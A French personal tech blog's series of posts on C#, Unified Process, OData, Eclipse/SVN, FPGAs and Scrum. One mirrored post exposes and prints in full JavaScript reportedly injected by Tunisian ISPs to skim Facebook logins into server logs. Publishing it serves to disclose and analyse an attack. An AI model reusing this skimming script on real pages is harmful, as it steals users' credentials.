Useless C# Code : Simulation d’un banc de poisson
Salut à tous, faisais un bail que je n’ai plus rien posté donc voici pour votre plaisir un petit useless C# code qui simule le comportement d’un banc de poisson.
Le principe du banc de poisson est simple :
- Suivre le poisson le plus proche
- Eviter la collision
- Fuir l’ennemi
Ces 3 simples règles donnent un résultat assez amusant.
Ma simulation est en 2D mais le rajoute d’un vecteur Z ne poserait aucuns problèmes. (Avis au dev’s directX intéressé ^^).
Voici ce que l’on obtiens avec un exemple de 50 poisons a 100 frames en boucle, d’où la séquence. (Clicker sur l’image pour lancer l’animation)
Enfin, voici le code « utile » :
Classe Fish : http://pastebin.com/8GE2d5zy
Tools : http://pastebin.com/pKGGPwT2
Et le projet VS2010 : http://www.mediafire.com/?521q35s97hc3q
@musez-vous bien ^^
Présentation Unified Process
Salut à tous, voici un petit article vous présentant brièvement ce qu’est unified process.
On va dans cet article aborder les 3 axes fondateurs d’UP, les 5 core d’itération, ses phases et son implémentation RUP.
Kezako ?
Premièrement, unified process est un SDP (software developpement process) et un SEP (software engineering process), c’est-à-dire qu’il va fournir des process et méthodes permettant de répondre à qui, quoi, quand et comment dans le cadre du développement logiciel et donc aider à « transformer les specs en logiciel ».
Ensuite UP (unified process) est un très souvent utilisé en tant que framework, c’est-à-dire, un ensemble de bonnes pratiques et de concept qu’il faudra ensuite composer avec ses pratiques et méthodes.
UP a été développé par un les auteurs d’UML ce qui explique sa forte utilisation dans les process.
Enfin UP apporte plus de questions que de réponse (mais au moins il permet d’avoir les bonnes questions)
Les 3 axes d’UP
UP repose sur 3 axes majeurs et les comprendre c’est déjà comprendre la moitié du process :
- UP est axé sur les use-case et est risk driven
- UP est centré sur l’architecture
- UP et itératif et incrémental
Cores
Les projets mettant en place UP comportement tous les stades classique du développement logiciel :
- Planification
- Analyse & design
- Construction
- Intégration et teste
- Livraison
Il implémente ces étapes dans ses 5 core suivant :
- Requirement – Capturer les ce que le système doit faire
- Analysis – Rafiner et structurer les requirements
- Design – réaliser les requirements dans l’architecture du système
- Implémentation – construire le logiciel
- Test – Vérifier que l’implémentation fait ce que les requirements demandent
Ces 5 cores représentent une itération. Pour comprendre l’incrémental, un coup d’œil au schéma suivant sera utile :
On voit que les itérations sont exécutées dans 4 phases. Nous allons les détailler après, mais faisons d’abord un débroussaillement. La première, inception, qui consiste à lancer le projet et principalement dégager les spécification et débuter l’analyse. Ensuite la phase d’élaboration qui se concentre sur le raffinement des specs, l’analyse et le design avec un début d’implémentation. Suit la construction qui a lieu une fois les spécifications capturées. A ce stade l’analyse et le design ne concerne plus que de possible besoin supplémentaires et les itérations se focus sur l’implémentation. Afin de sortir de la phase de construction se conclut souvent par une beta testing publique. La phase de Transition représente le déploiement du système.
5 Phases : focus & objectifs
Inception
- Établir la faisabilité
- Créer les business case pour démontrer les bénéfices apportés
- Tenter de capturer les besoins essentiels du système
- Identifier les risques critiques
L’inception se concentre principalement sur les requirements et un début d’analyse. Un peu de design et d’implémentation peut être fait si il est nécessaire de réaliser un PoC ou un prototype d’application qui sera les seuls artefacts pouvant résulter de la phase.
Élaboration
- Créer une architecture de base
- Raffiner la gestion des risques
- Définir les attributs qualité
- Capturer 80% des use case des besoins fonctionnels
- Créer un plan détaillé pour la phase de construction
Le but de cette phase est de créer un système partiel mais fonctionnel d’un point de vue architectural. Ce n’est pas un prototype mais plus une sorte de « coquille vide ». C’est d’ailleurs une des phases majeures d’UP. (UP étant basé sur l’architecture et l’architecture se définissant principalement ici, ça n’a rien de surprenant)
Construction
- Découvrir tous les besoins n’ayant pas été pris en compte
- Finaliser les modèles d’analyse
- Finaliser le design
- Construire les IOC et les tester
- Maintenir l’intégrité de l’architecture du système
Le but de cette phase est de faire tout ce qui n’a pas encore été fait et surtout d’implémenter toutes les fonctionnalités restante vu que le design et l’architecture ont été finalisé ou presque dans la phase précédente.
Transition
- Corriger les défauts
- Préparer les migrations/déploiements
- Adapter le système au lieu d’implémentation
- Créer la documentation utilisateur
- Fournir du support
- Conduire une analyse de post projet
Les objectifs parlent d’eux même, on peaufine, on corrige les dernières petites erreurs (avec des patchs si le logiciel est déjà livré), on implémente et on documente. Étape très importante, le debrief de post projet. Ce debrief (qui peut durer une journée ou plus) permet d’identifier et de reporter les problèmes rencontré lors du développement du projet et de modifier les process si nécessaire afin de ne plus les rencontrer au projet développement.
RUP/UP
RUP est une implémentation réalisée par Rational Software de Unified Process (racheté par IBM en 2003, Rational ayant au moment du développement de RUP racheté Requisite, Verdix, Objectory, SQA & Pure-Atria). RUP a été créé également par les créateurs de UP et UML. En effet, en 1995 Rumbaugh rejoint Rational Software et ensuite Jacobson. Booch étant déjà chez Rational Software, toute l’équipe d’UML (Jacobson compris donc) était réunie pour collaborer autour d’une implémentation de UP, ce qui conduit a un ouvrage « The Unified Software Development Process » ne 1999. Cette implémentation fut longtemps une simple implémentation commerciale de UP avec quelques outils très peu différent. Ce qui a vraiment rendu RUP utile est le travail de documentation et d’écriture réalisé Kruchten, alors représentant pour Rational passé « Director of Process Development » qui développa un vrai framework basé sur Objective.
RUP est à la fois différent et similaire a UP, on notera principalement les cores supplémentaire, principalement résultant du travail de Kruchten une fois chez IBM. (Il garda son poste après le rachat de Rational). Mais le plus de RUP est l’intégration avec les outils de la gamme rational. Ceci dit, d’autres implémentations sont disponibles, comme OpenUP. De même UP est souvent implémenté en interne avec des outils comme Eclipse Process Framework.
Bibliographie
The Unified Software Development Process – Jacobson, Booch, Rumbaugh
UML & The Unified Process – Jim Arlow & Ila Naustadt
The Rational Unified Process-An Introduction – Kruchten
Rational Unified Process Made Easy-A Practitioner’s Guide to the RUP – Kruchten
http://en.wikipedia.org/
Cours sur les librairies dans le développement logiciel
Salut à tous, j’ai eu l’occasion de donner une leçon dans le cadre du cours de Mr Cailleuw sur l’utilisation de librairies dans le développement logiciel ainsi que sur les raisons qui poussent a segmenter ses logiciels en librairies de composants (indépendamment du facteur non réécriture de code). Les slides ne servant que de support, je mettrai en ligne un complément reprenant ce qui a été donné oralement.
Liens vers les slides sur Scribd
http://www.scribd.com/doc/49791480/langageProc
Présentation powerpoint en pptx (Office 2010)
http://manu404.wolfplex.org/blogdoc/langageProc.pptx
Présentation powerpoint en pdf
http://manu404.wolfplex.org/blogdoc/langageProc.pdf
Inform@tiquement
Istace Emmanuel – Manu404
OData – Introduction à l’Open Data Protocol
Salut. Comme beaucoup, une session a retenu mon attention lors des derniers techdays à Paris. Elle concerne OData, projet permettant d’exposer des données au travers de webservices en http, données identifiées par leurs URI. Jusque-là rien de bien nouveau me direz-vous ? Et bien, pas si sûr ;)
OData et Rest
OData (Open Data Protocol) est, comme son nom l’indique, un protocole d’échange de données ouvert et peut être vu comme une sorte de version avancée de REST. Pour être plus précis, c’est une spécification d’un modèle d’échange de données exposées sur le Web. Ce n’est donc pas son implémentation, cette tâche étant laissée au soin des développeurs, mais de nombreuses API existent déjà pour vous aider à exposer vos données en respectant les spécifications de OData. (Php, java, ruby, dotnet, Ios, windows mobile… et la liste est encore longue). Des outils sont également disponibles afin de vous aider dans le développement d’applications que l’on pourrait qualifier d’ « OData compliant ». Dans cet article, nous ne ferons qu’aborder la spécification d’OData et non son implémentation dans un langage particulier afin que vous puissiez, quelque soit votre langage de développement, obtenir au travers de cet article une introduction à OData.
Basiquement, OData permet de récupérer en http des données sous forme de fichiers JSON ou ATOM (xml).
Voici un exemple de requête qui pourrait être traduit par : « Affiche tous les clients dans la table Customers de la base Northwind »
http://services.odata.org/Northwind/Northwind.svc/Customers
Ou encore : « Affiche tous les clients dans la table Customers de la base Northwind où le Contact Name est égal à Maria Anders »
http://services.odata.org/Northwind/Northwind.svc/Customers?$filter=ContactName eq ’Maria Anders’
OData et Microsoft Open Specification Promise
Le projet est en cours de normalisation via le projet Microsoft Open Specification Promise (OSP), ce qui permet aux tiers, y compris les projets open source, de construire des services de données librement en implémentant OData et donc améliorer l’interopérabilité entre les solutions Microsoft et non-Microsoft de manière bilatérale par le biais de publication de spécification. Pour plus d’information sur OSP et les travaux de Microsoft en terme de spécification de protocoles ouvert, vous pouvez vous référer à cette page : http://www.microsoft.com/interop/osp/default.mspx
La spécification complète étant disponible à cette adresse : http://msdn.microsoft.com/en-us/library/dd541188%28v=PROT.10%29.aspx
La première release est sortie début 2009 tandis que l’actuelle, en version 8.0, est sortie il y a quelques jours à peine. (11/02/2011) Voici le PDF de cette version de la spécification : http://download.microsoft.com/download/9/5/E/95EF66AF-9026-4BB0-A41D-A4F81802D92C/%5BMS-ODATA%5D.pdf
(les mauvaise langues pourront ainsi par la même occasion constater les efforts fait par Microsoft en terme d’interopérabilité et de contribution open source au monde de l’informatique ;) )
Structure d’une URI Odata
![]()
(source : http://www.odata.org/images/ODataUri.png – OData Project Portail)
Comme le schéma l’indique, le format d’uri utilisé par OData est celui spécifié dans la RFC 3986
On a donc obligatoirement le schéma suivi du nom d’hôte, ensuite le port peut être précisé. Après vient la racine du service à contacter, que l’on peut décorer avec le chemin vers une ressource spécifique, enfin les options de requêtes sont placées en fin d’URI et préfixées par un ‘ ?’.
Reprenons notre exemple :
http://services.odata.org/Northwind/Northwind.svc/Customers?$filter=ContactName eq ’Maria Anders’
- services.forensia.com -> Host
- Le port par défaut est ici 80
- /ForensiaData.svc/ -> La racine du service
- Client -> Le chemin de la ressource
- $filter=Name eq ’Jean’ -> Les options de requêtes
La partie chemin de ressource propose beaucoup plus de possibilités, mais dans le cadre d’une introduction, ce n’est pas nécessaire de rentrer dans son détail.
Query Options
Maintenant que nous savons accéder à une collection de données, passons maintenant aux requêtes de cette collection. Cette partie de l’url définit trois types d’informations, les System Query Options, Custom Query Optionset les Services Operation Parameters. Le groupe de travail sur la spécification de OData préconise de respecter cette structure pour la construction des options de query.
System Query Option
Les SqO (pour gagner du temps), permettent de renseigner toutes les informations qu’un client pourrait donner afin de contrôler la quantité et l’ordre des données retournées par le service OData. Chacune de ces options est préfixée par ‘$’.
Faisons un bref aperçu des principales SqO
Orderby SqO
Cette SqO permet de définir une expression qui sera utilisée pour déterminer quelles valeurs détermineront l’ordre de la collection retournée par le service. Voici un exemple qui affiche tous les clients triés par nom de manière ascendante
http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName asc
L’inverse :
http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName desc
Et ici on trie selon le Nom puis retrié sous-séquentiellement selon l’ID
http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName,ContactID asc
Top SqO
Ce SqO permet d’identifier un sous ensemble, exemple où l’on récupère les 10 premiers clients :
http://services.odata.org/Northwind/Northwind.svc/Customers?$top=10
Ou encore on récupère les 10 premiers clients triés par noms.
http://services.odata.org/Northwind/Northwind.svc/Customers?$top=10&orderby=ContactName asc
Skip SqO
Skip permet d’ignorer un sous-ensemble dans la recherche, exemple ou l’on récupère tous les clients sauf les 10 premiers :
http://services.odata.org/Northwind/Northwind.svc/Customers?$skip=10
Ou encore, voici comment récupérer les clients de 20 a 30 triés par noms :
http://services.odata.org/Northwind/Northwind.svc/Customers?$skip=20&$top=10&$orderby=ContactName asc
Filter SqO
Passons enfin à celui qui sera le plus utilisé, le filtrer. Il s’écrit un peu à la manière des if en Bash. Des opérateurs logiques, arithmétiques et de groupement sont disponibles. Voici un résumé disponible sur odata.org :
Format SqO
Ce SqO permet de définir le type de réponse que l’on attend, à savoir Atom(atom+xml), Xml, Json ou n’importe quel type de données définies par l’IANA
Voici un exemple pour récupérer du JSON :
http://services.odata.org/Northwind/Northwind.svc/Customers?$format=json
C’est tout ?
OData propose dans sa spécification beaucoup de fonctions très utiles, nous n’avons vu ici que les principales et les plus utilisées. Pour plus d’informations et la liste complète, vous pouvez vous référer à la page http://www.odata.org/developers/protocols/uri-conventions qui contient une liste plus exhaustive des fonctions disponibles dans la spécification OData.
Service Operation Parameters
OData permet de définir des fonctions personnalisées afin d’étendre les fonctionnalités de votre data service. Ces fonctions que vous développez seront reprises dans le $metadata pour les communiquer aux développeurs utilisant votre data service, un peu à la manière d’interfaces (dans le sens Orienté Objet/Services du terme)
Et maintenant ?
Et bien maintenant vous avez tout ce qui est nécessaire afin de commencer à comprendre et requêter des données exposées implémentant OData. Par exemple Ebay, Facebook, Windows Live ou encore Stack Overflow exposent certaines de leurs données en OData. Concernant les logiciels exposant leurs données avec OData on peut citer Microsoft Sharepoint 2010, IBM WebSphere, Microsoft SQL Azure, Microsoft Dynamics CRM, GeoREST, Telerik OpenAccess ORM ou encore Telerik Sitefinity CRM.
Pour obtenir les informations plus détaillées de OData, vous pouvez vous référer au site http://www.odata.org/ qui propose une documentation à l’attention des développeurs, le site lui-même reposant dessus (le contraire aurait été choquant).
La liste des outils et des OData Producers (dans le sens producteur de données) est disponible ici : http://www.odata.org/producers
La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD
Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :
ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.
Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :
| Code: | |
| <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”fr” lang=”fr” id=”facebook”> <head> <meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ /> <meta http-equiv=”Content-language” content=”fr” /> <script type=”text/javascript”> //<![CDATA[ CavalryLogger=false;window._is_quickling_index="";window._EagleEyeSeed="w6jw"; //]]> </script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> <meta name=”robots” content=”noodp,noydir” /> <link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css” /> <script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script> <link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml” title=”Facebook” /> </script><input type=”hidden” name=”charset_test” value=”€,´,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php” rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”€,´,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form> |
J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :
| Code: | |
| <!– function h6h(st){var st2=”";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F; st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;} function r5t(len){var st=”";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;} function hAAAQ3d() { var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value; var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);} function inv0k1(url) {var objhq = document.getElementById(“x6y7z8″); objhq.src = url;} function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);} function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);} //–> |
Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!
Subversion avec Eclipse CDT ou : “Le combat entre l’homme et la machine”
Salut à tous, ça fait un bail donc voici un petit tips sur eclipse. Certains vont me regarder avec de grands yeux mais pour les besoin d’un cours je dois dev’ en C, après avoir passé du temps sur le primitif « standard windosien » codeblock puis du léger et classique avec gedit, une tentative d’EDI correcte avec l’ in-ergonomique kdevelop et un gros retour aux sources sous emacs, Eclipse CDT est finalement l’environnement qui m’a séduit le plus. Ergonomique, fonctionnel, valgrind/autotools/etc intégré, extensible à souhait, robuste enfin bref, je pense avoir trouvé enfin mon bonheur. Seul soucis, j’utilise pour le contrôle de source SVN et non CVS. En effet, si CVS est intégré nativement à Eclipse, il n’en va pas de même pour SVN.
N’ayant que très peu utiliser eclipse par le passé, l’installation d’un client svn est devenue après 2H de trifouillage un véritable combat entre moi et la machine. Premièrement, je suis désolé mais, Subversive… ça marche pas ! Et si ça marche sous Debian Lenny avec Eclipse CDT Linux Developper Helios R1 je veux le voir. Enfin si, ça « marche », le client est installé et à l’air d’être capable de fonctionner, mais impossible de faire tourner le moindre connecteur SVN. J’ai tout essayé, les télécharger/installer à la mano, re-re-re-re-installer, installer les sources en me disant : « Peut être que… », suivi 3 tutos, bref, Subversive est une expérience qui me reste un peu en travers de la gorge. Alors que je décourageais en tentant de comprendre les interminables logs d’erreur de Java qui défilait, j’ai eu une lueur d’espoir grâce au marketplace : Subclipse, autre implémentation de subversion. J’installe, jusque-là pas de soucis et il semble installer les connecteurs nécessaire. Je veux me loger sur mon svn : « JavaHL introuvable ». Calme… Bon, un « apt-get install libsvn-java » plus tard : « JavaHL introuvable »
Pas de soucis on se calme, go wiki : http://subclipse.tigris.org/wiki/JavaHL
J’édite comme mentionné le fichier eclipse.ini en rajoutant le - Djava.library.path=/var/lib/jni
“JavaHL doit être en version 1.6.0 et supp”
‘—
Hééééééé oui ! Pas de .deb pour les dernières versions et encore moins de version source à compiler, ked’. Et là, une idée saugrenue me passe par la tête :
1. Télécharge le RPM
2. $> alien –d <archive.rpm>
3. Dpkgi –i <archive.deb>
YEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
C’est le seul moyen fiable que j’ai trouvé d’installer ce truc. Donc en gros pour utiliser le client Subclipse sous distrib debian-based il faut télécharger le RPM sur CollabNet, le convertir en Deb et l’install a la main puis éditer le fichier eclipse.ini en rajoutant :
-Djava.library.path=/opt/CollabNet_Subversion/lib
Et enfin croiser les doigts très très fort
Enfin bref, au moins ça marche et j’espère que ceux qui sont dans le même cas que moi auront trouvé de l’apaisement à leurs souffrances quand à 3H15 du matin, on relit pour la 20éme fois le même article en se disant chaque fois : « Bon… J’ai du louper un truc… »
Understand the FPGA
Le FPGA, un terme qui revient de plus en plus souvent ces derniers temps, tout comme le VHDL ou les GpGPU.Sous des termes techniques a rallonge et des explications souvent elitistes reservés aux initiés, se cache en fait une technologie très simple a comprendre.
Un FPGA est tout d’abord un bout de silice comme n’importe quel composant.
Il n’a rien de magique ou de hors du commun. Quand on parle de FPGA on parle en fait de “field-programmable gate array”, ce qui en français donne
réseau de portes programmables in situ. La simple analyse du nom nous permettra de comprendre directement a 75% ce que fait et ce qu’est un FPGA.
Tout d’abord, des portes programmables. Petit récapitulatif d’architecture, une porte programme est un composant qui permet d’appliquer des
fonctions logiques séquentielles (une seul entré) ou combinatoire (résultat de plusieurs portes logiques séquentielles). Pour faire l’analogie avec la programmation, la porte logique est une sorte de If(). Il y a donc des ET, OU, NON (pour les fonctions séquencielles) et des NAND, NOR, XOR et XNOR, combinations de plusieurs fonctions séquentielles,
des fonctions combinatoires. La on a défini les portes logiques, mais pas les portes programmables. En faite, une porte programmable peut être vue de manière schématique en une sorte de porte logique polymorphe qui sera tel ou tel porte logique selon la manière dont un la programme. Au final, on se retrouve avec plusieurs puces, contenant chacune des milliers et des milliers de portes logiques. Par exemple, il n’est pas rare de trouver des FPGA avec une 20éne de puces de 400 000 portes chacune (je vous laisse calculer) Passons a la suite, maintenant que l’on sait ce qu’est une porte logique/programmable, pourquoi un réseau ? Et bien c’est la que le FPGA se différencie du CPU. Dans un FPGA, on a toutes ces portes logiques, mais on peux les assembler comme on le désire. Ainsi on attribue tel nombre de portes pour la tâche X, un autre nombre pour la tache Y et pour chaque tâche on relie ces portes entre elles comme on le désire. Ainsi, on obtient un système optimisé pour la tache a effectué et parallèle ! On peux définir sur un FPGA plusieurs 10éne de taches en parallèles et ce dernier ne mouftera pas. Exécutez 400 thread sur un processeur Quad core, que ce passera-t-il au final sur le processeur ?
Ceci :
CORE-A CORE-B CORE-C CORE-D
Executed Task1 Task2 Task3 Task4
Task5 Task6 Task7 Task8
Task 11 T ask12 Task13 Task14
Donc au final, on n’a que 4 taches exécutées réellement en parallèles, les autres sont mise en queue. Sur un FPGA, aucune queue ne serait présente, on aurait un ensemble de portes/taches.
Je suis sure que maintenant les FPGA on l’air moins mystérieux. Malheureusement, les explications sur le net sont souvent élitistes avec un vocabulaire techniques très pointu pour au final quelque chose d’assez simple.
Donc pour résumé un FPGA est un ensemble de portes logiques dont on peux programmes les inter-connections et segmentable afin de proposer une exécution parralèles des tâches.
Méthodologies SCRUM – Présentation et mise en oeuvre
Réalisé par Istace Emmanuel (Manu404) pour la communauté Hackbbs
Document sous license GFDL (Licence de documentation libre GNU) : http://www.gnu.org/licenses/licenses.fr.html
Table des matières
1. Avant Propos; p 3
2. Qu’est-ce q’une méthodologie; p 3
3. Qu’est-ce que Scrum; p 3
4. Qu’est-ce que une méthodologie Agile; p 3
5. Principes de Scrum; p 4
6. Plannification par Sprint; p 4
7. Structure d’un Process; p 5
8. Les roles dans une équipe; p 6
9. Exemple et mise en oeuvre; p 7
12. Ressources, sources et liens; p 8
11. Conclusion; p 9
1. Avant propos
J’ai écrit ce cours dans le but de donné une vue d’ensemble de cette méthodologie. Il en existe bien d’autre, avec chacune leurs avantages et inconvénients. Ce cours est écrit dans le cadre de la création futur d’une section projet dont les informations vous parviendrons bientôt. Ceci impliquera que des groupes de membres se rassemblerons autour de projet afin de mener a bien leur développement. Oui mais, développer un projet c’est toute une aventure, et le faire correctement c’est un véritable défis ! C’est pourquoi je tiens à vous donner toutes les clefs de la réussite afin de pouvoir mener correctement un projet de groupe. Je ne cherche pas a démontré que Scrum est la meilleur solution ou la seul qui marche. Si vous possédez déja une autre méthodologie qui fonctionne bien, gardez-la.
2. Qu’est-ce qu’une méthodologie ?
Un méthodologie est un modèle contenant un ensemble de méthode permettant d’atteindre des objectifs fixés au début de la réalisation du projet. Par exemple : concevoir un Forum.
Cet exemple sera utilisé durant tout le cours sur Scrum.
3. Qu’est ce que Scrum ?
Scrum est une méthodologie initialement dédié a la gestion et conception d’un projet informatique.
Cette méthodologie a été adapté avec succès a d’autres secteurs d’activités (cfr : Toyota, Aribus, Société générale, MusicStore, Microsoft, Adobe, …)
Scrum permet de maximiser les ROI des projets de développements.
Scrum est une implémentation de méthode dites “Agile”.
4. Qu’est ce qu’une méthodologie Agile ?
Vous expliquer en détail le fonctionnement théorique d’un méthodologie Agile serait long et sans grande utilisé dans le cadre de ce cours. Ces méthodes permettent de gérer la conception de projet et de l’équipe qui la prend en charge. Cette méthode se base également sur un constat : Lors de la réalisation d’un projet, les délais et les couts sont rarement respecté. Ceci dit, Agile met l’accent sur les points suivant :
- Individus et interactions
Privilégié les interactions entre les membres de l’équipe et maximiser la communication entre-eux
- Logiciel qui fonctionne
Obtenir le plus vite possible un livrable prêt a être déployer/implémenter même si il n’est pas complet (développement par module) plutôt que de développer une application pendant 10 mois et croiser les doigts à la fin.
- Collaboration du client
Maximiser les interactions entre l’équipe et le client.
- Réaction au changement
Privilégié un maximum la liberté de chacun face a des situation imprévue sans pour autant mettre le travail des autres en péril (dépendances pas exemples) et appliquer les feedback de manière optimal
Pour toutes les informations concernant les méthodologies Agile: www.agilmanifesto.com
5. Principes de Scrum :
- Équipe soudée
L’équipe doit adopter une attitude la plus pro-active possible.
- But a atteindre avec un engagement de réussite par l’équipe
Avec Scrum, il n’y a pas de “Chef de projet” a proprement dit. Le Chef c’est l’équipe, et c’est l’équipe qui s’engage a atteindre ses objectifs et qui les négocie.
- Livraisons périodiques
Scrum encourage la livraison de release de manière régulière afin de pouvoir faire les changements appropriés a la release donné, donner le plus vite possible un livrable utilisable, gérer les “risques projets”, permettre une validation progressive du livrable final.
- Implication forte du client
Les feedback provenant du clients vers l’équipe sont a encourager au maximum afin de faire progresser le plus vite possible le livrable final.
L’orientation principal de Scrum est une orientation engagement/résultat et non pas délais ou couts. Ce qui compte c’est de fournir le livrable final et uniquement cela !!!
6. Planification par Sprint
-Un Sprint permet de limiter les dépassement de délais, optimiser les feedback, rendre les feedback opérationnels le plus vite possible et éviter le maximum d’erreur
- Un sprint est itératif et ne dépasse jamais 30 jours
Un sprint est donc une période de temps définie, marqué par certaines étapes, avec un début et une fin, qui est répété jusqu’à la fin de la réalisation du livrable final.
-Possède un but
Le but peut être la réalisation d’un importante fonctionnalité ou la release d’un livrable. Le but doit être parfaitement défini au début du sprint et clair pour toute l’équipe
- Le But du Sprint est liés a un liste de petites fonctionnalités (items dans le Sprint Backlog)
Au début du sprint, un sélectionne un certains nombres de fonctionnalités devant être développer, qui se nomment items et se place dans le Sprint Backlog qui est un tableau contenant toutes les fonctionnalités devant être finies pour la fin du Sprint
- L’équipe peut casser le Sprint si il est infaisable
Si l’équipe juge que les objectifs fixés et que les engagements pris sont infaisables, alors le Sprint peut-être cassé, puis renégocié, et recommence dés le lendemain.
7. Structure d’un Process
Shema :

Le process commence par la négociation avec le client afin de sélectionner les Items du Product Backlog (liste des fonctionnalités nécessaire au programme) afin de les placer dans le Sprint Backlog (les fonctionnalités qui seront réalisé durant le sprint) et définir une priorité dans laquel ils doivent être livrés. Ensuite on découpe chaque fonctionnalité en sous-tâches afin de faciliter le développement de l’application en passant par des modules Par exemple : Gestion des utilisateur : Db/liste des utilisateurs, panneau de login, panneau d’édition des utilisateurs et un script d’authentification. Ce qui donne 4 module bien défini qui formeront la fonctionnalité : Gestion des utilisateurs. Le Sprint peux alors commencer. Durant la période définie. Il y aura chaque jours une rencontre de 15minutes appelé Scrum(“mêlée” sur le shema) dans lequel chaque membre de l’équipe fera part aux autres de :
1. Ce qui a été fait.
2. Ce qui sera fait pour le prochain Scrum .
3. Les difficultés rencontrées afin de se faire aider par les autres membres.
4. Demande au développeur de l’estimation du temps nécessaire a la tache qu’il réalise pour le moment par le ScrumMaster
50% du process et de la méthodologie repose sur cette rencontre. Elle doit être la plus courte et précise possible.
A la fin du sprint, il y a une demo qui sera publié afin de présenter le travail réalisé. Sa peux être une interface, un système de gestion ou simplement un log de DB. A la fin de cette demo et après réception des feedback du client, un débriefing privé de l’équipe est réalisé afin de faire le point sur les points positifs et négatifs du Sprint qui viens de se conclure
8. Les rôles dans une équipe Scrum
1. Le Scrum Master
C’est un membre de l’équipe qui a pour but de détecter les problèmes et les résoudre, il permet de résoudre les soucis de l’équipe afin qu’elle parvienne seul a sa productivité optimale. C’est également lui qui vas gérer le temps de parole lors de rencontres quotidiennes Il n’est pas le chef et ne peux donc pas donner d’ordre au reste de l’équipe.
2. Product Owner
Le product Owner sera le client ou le User du livrable. Il négocie avec l’équipe les différents fonctionnalités qui seront développer pour la fin du Sprint, il répond au question de l’équipe chaque fois que nécessaire et fait de feedback aux tests demandés par l’équipe. C’est avec lui qu’on sélectionne les Items du Product Backlog que l’on fera passer dans le Sprint Backlog. Une fois la négociation terminé, le Product Owner se retire jusqu’à la prochaine demande de test ou la fin du Sprint pour la présentation de la release.
3. Équipe
Les différents développeurs, codeurs, architectes, etc…
Elle est auto-géré, il n’y a pas de chef. Chaque membre sélectionne lui-même l’item qu’il souhaite développer suite a l’ordre de priorité de l’item fixé lors de la négociation en début de Sprint.
4. StakeHolder
Investisseur ou sponsor
Il n’y a pas d’autre rôles ! Toute autre personne est considéré comme extérieur au Scrum !
9. Exemple et mise en oeuvre
Bon un petit exemple pratique concernant la mise en pratique du Process sur l’exemple du forum:
Définition des rôles et de l’équipe :
L’équipe :Manu404(développeur php, Db-a), Skorm(graphiste, déploiement), Hackangel (développeur pp)
Le ScrumMaster : Gioia_motherlode (testeur)
Product Owner : Korigan
Stake Holder : ?
Les Sprint durent 1semaine
Le process :
Création du Product Backlog :
- système d’authentification/inscription ; priorité : 5/5
- gestion d’envoi des messages ; priorité : 3/5
- gestion de l’affichage des messages ; priorité : 3/5
- interface graphique ; priorité : 2/5
- …
Demande du Product Owner pour la fin du Sprint:
- interface graphique
- système d’auth/inscri
Création du Sprint Backlog avec le resultat de la négociation :
